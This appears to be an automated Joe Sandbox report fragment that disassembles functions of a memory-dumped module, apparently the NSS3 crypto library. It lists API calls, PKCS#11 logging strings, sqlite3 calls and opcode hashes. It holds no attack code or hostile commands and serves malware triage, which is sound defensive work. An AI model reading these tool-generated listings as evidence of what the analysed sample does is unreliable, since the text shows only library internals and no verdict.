PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7178F8), ref: 6C754ED9

Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C747703,?,00000000,00000000), ref: 6C745942
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C747703), ref: 6C745954
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C74596A
Part of subcall function 6C745920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C745984
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C745999
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459BA
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7459D3
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459F5
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C745A0A
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C745A2E
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C745A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EB3

Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75484C
Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75486D
Part of subcall function 6C754820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C754EB8,?), ref: 6C754884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EC0

Part of subcall function 6C754470: TlsGetValue.KERNEL32(00000000,?,6C717296,00000000), ref: 6C754487
Part of subcall function 6C754470: EnterCriticalSection.KERNEL32(?,?,?,6C717296,00000000), ref: 6C7544A0
Part of subcall function 6C754470: PR_Unlock.NSS3(?,?,?,?,6C717296,00000000), ref: 6C7544BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F8F
PK11_UpdateSlotAttribute.NSS3(?,6C82DCB0,00000000), ref: 6C754FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C75501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75506B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction ID: 85ffb86e4a8d079149e3bdb1c2bc5c482a3bcc74e992cf13c40ee0c7c6fd9928
Opcode Fuzzy Hash: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction Fuzzy Hash: F051D3B1E002019BDB119F35EE09AAB36B5BF0535CF584635E80A46A52FF32E535CBD2

Function 6C6FACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
malloc.MOZGLUE(00000001), ref: 6C6FACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
TlsGetValue.KERNEL32 ref: 6C6FAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
PR_Unlock.NSS3 ref: 6C6FADC0
free.MOZGLUE(00000000), ref: 6C6FAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6FAE58
free.MOZGLUE(00000000), ref: 6C6FAE69
free.MOZGLUE(?), ref: 6C6FAE78
PR_Unlock.NSS3 ref: 6C6FAE8C
free.MOZGLUE(?), ref: 6C6FAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FAEC7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction ID: 9819b64d86a8ccad6c030d9dbe26925988d460203aa6c84b39096e2a22ce1e44
Opcode Fuzzy Hash: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction Fuzzy Hash: 5851C3B4E002168BDB10DF99D8466AE77B6BB0A34CF140135D825A3B13D371AD06CBEA

Function 6C73ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C73ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE29

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C73AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C73AEA0

Strings

hKey = 0x%x, xrefs: 6C73AE62, 6C73AE72
C_MessageSignInit, xrefs: 6C73ADE1
hSession = 0x%x, xrefs: 6C73AE01, 6C73AE11
(CK_INVALID_HANDLE), xrefs: 6C73AE1F, 6C73AE80

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction ID: 27491b4ca3e66077a58e7e862756750522e8ec67d36226ee5658cbc8424217ee
Opcode Fuzzy Hash: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction Fuzzy Hash: 36312531605124ABCF21CB64DE4EFBA33B9AB4231DF446835E40D5BB42D738A848CBD6

Function 6C739EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C739F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739F49

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C739F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C739FC0

Strings

hKey = 0x%x, xrefs: 6C739F82, 6C739F92
hSession = 0x%x, xrefs: 6C739F21, 6C739F31
(CK_INVALID_HANDLE), xrefs: 6C739F3F, 6C739FA0
C_MessageEncryptInit, xrefs: 6C739F01

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction ID: 0d2913347ae072ae382fcc7d946aaaa93009144e5a3793892b7903e9b16a3ceb
Opcode Fuzzy Hash: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction Fuzzy Hash: B4310431605225ABCB21CB14DE4CFBE37B5AB4231DF046835E40D6BB42DB38A848CBD6

Function 6C7D4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7D4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7D4D44

Strings

API call with %s database connection pointer, xrefs: 6C7D4CF6
no more rows available, xrefs: 6C7D4D2E
abort due to ROLLBACK, xrefs: 6C7D4D27, 6C7D4D33
out of memory, xrefs: 6C7D4C78, 6C7D4C9E
invalid, xrefs: 6C7D4CF1
unknown error, xrefs: 6C7D4D56
bad parameter or other API misuse, xrefs: 6C7D4D05
another row available, xrefs: 6C7D4D20

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction ID: df5ef18c8c049368fcddab6ae664d2eaa2ba45aa3f2aa92fc59736dad66dd660
Opcode Fuzzy Hash: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction Fuzzy Hash: E8316873A088216BDB244B24FB067A573617783318F570935D52C4BF65C724BC15E3D6

Function 6C732DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C732DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C732E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732E81

Strings

C_InitPIN, xrefs: 6C732DF1
pPin = 0x%p, xrefs: 6C732E63
ulPinLen = %d, xrefs: 6C732E7C
hSession = 0x%x, xrefs: 6C732E0E, 6C732E1E
(CK_INVALID_HANDLE), xrefs: 6C732E2C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction ID: 830e22771b79104f700b281a2ffbe3a03f0e05c1e49b5e5ee53d48d9b64de1b3
Opcode Fuzzy Hash: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction Fuzzy Hash: 8A313771606164ABDB20CB15CF4DB6A37B9EB4231CF045470E80DABB53DB38A848CBD6

Function 6C737E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C737E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737E63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C737E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C737EB1

Strings

pPart = 0x%p, xrefs: 6C737E93
ulPartLen = %d, xrefs: 6C737EAC
C_VerifyUpdate, xrefs: 6C737E21
hSession = 0x%x, xrefs: 6C737E3E, 6C737E4E
(CK_INVALID_HANDLE), xrefs: 6C737E5C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction ID: ddf0503ccfb529f9b5e3bf8d249cb3a899da5336d61e65e5dec18ec2e463d051
Opcode Fuzzy Hash: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction Fuzzy Hash: 7A313B34606125EBD7209B15CF4CF6A37B9AB4234CF446474E80D5BB42DB38AC48CBD6

Function 6C736EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C736F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736F53

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C736F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C736FA1

Strings

C_DigestUpdate, xrefs: 6C736F11
pPart = 0x%p, xrefs: 6C736F83
ulPartLen = %d, xrefs: 6C736F9C
hSession = 0x%x, xrefs: 6C736F2E, 6C736F3E
(CK_INVALID_HANDLE), xrefs: 6C736F4C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction ID: 4225626bf81f68d96ace66284604a183416253cf51eae5db399b28e855aabcf7
Opcode Fuzzy Hash: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction Fuzzy Hash: AE31F234606025ABDB20DB25CE4CF6A37B5AB4235CF046434E80C9BB03DB38E948CBD6

Function 6C737F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C737F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737F93

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737FE1

Strings

pSignature = 0x%p, xrefs: 6C737FC3
hSession = 0x%x, xrefs: 6C737F6E, 6C737F7E
(CK_INVALID_HANDLE), xrefs: 6C737F8C
C_VerifyFinal, xrefs: 6C737F51
ulSignatureLen = %d, xrefs: 6C737FDC

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction ID: fc3899156eaba35a49df672d0c9395fa364f53a423a65818fcf548fc1bbe3799
Opcode Fuzzy Hash: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction Fuzzy Hash: 04310430606025EBDB20DB15CF4CF6A37B5AB4235CF446435E80D9BB02DB38A849CBE6

Function 6C7D2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7D2D9F

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

sqlite3_exec.NSS3(?,?,6C7D2F70,?,?), ref: 6C7D2DF9
sqlite3_free.NSS3(00000000), ref: 6C7D2E2C
sqlite3_free.NSS3(?), ref: 6C7D2E3A
sqlite3_free.NSS3(?), ref: 6C7D2E52
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D2E62
sqlite3_free.NSS3(?), ref: 6C7D2E70
sqlite3_free.NSS3(?), ref: 6C7D2E89
sqlite3_free.NSS3(?), ref: 6C7D2EBB
sqlite3_free.NSS3(?), ref: 6C7D2ECB
sqlite3_free.NSS3(00000000), ref: 6C7D2F3E
sqlite3_free.NSS3(?), ref: 6C7D2F4C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction ID: 17cfcd32db8ea84a50e7038dbec8f6f4cf6280e68920235998e521a72009eaba
Opcode Fuzzy Hash: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction Fuzzy Hash: DD619FB5E052069BEB00CF68D989B9EBBB5AF49348F160034DC45A7701E735FC46CBA5

Function 6C717C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,Function_00097E60,00000000,?,?,?,?,6C79067D,6C791C60,00000000), ref: 6C717C81

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

TlsGetValue.KERNEL32 ref: 6C717CA0
EnterCriticalSection.KERNEL32(?), ref: 6C717CB4
PR_Unlock.NSS3 ref: 6C717CCF

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32 ref: 6C717D04
EnterCriticalSection.KERNEL32(?), ref: 6C717D1B
realloc.MOZGLUE(-00000050), ref: 6C717D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C717DF4
PR_Unlock.NSS3 ref: 6C717E0E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction ID: 055f874cf1c0d6ccdcfe7bb19a4c43ff672a5e565d3dbb87a97d661c097965ec
Opcode Fuzzy Hash: 042737fcf677e2598f9ef8874a53c34aed998e4977a4669e71269a1cdda90708
Instruction Fuzzy Hash: F4512371A0C1049FDB215F29CE4AA7537B5FB0231CF1941BAED4487B62EB30E865CAC1

Function 6C767870 Relevance: 18.1, APIs: 12, Instructions: 138stringmemorythreadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,6C7691C5), ref: 6C76788F

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7691C5), ref: 6C7678BB
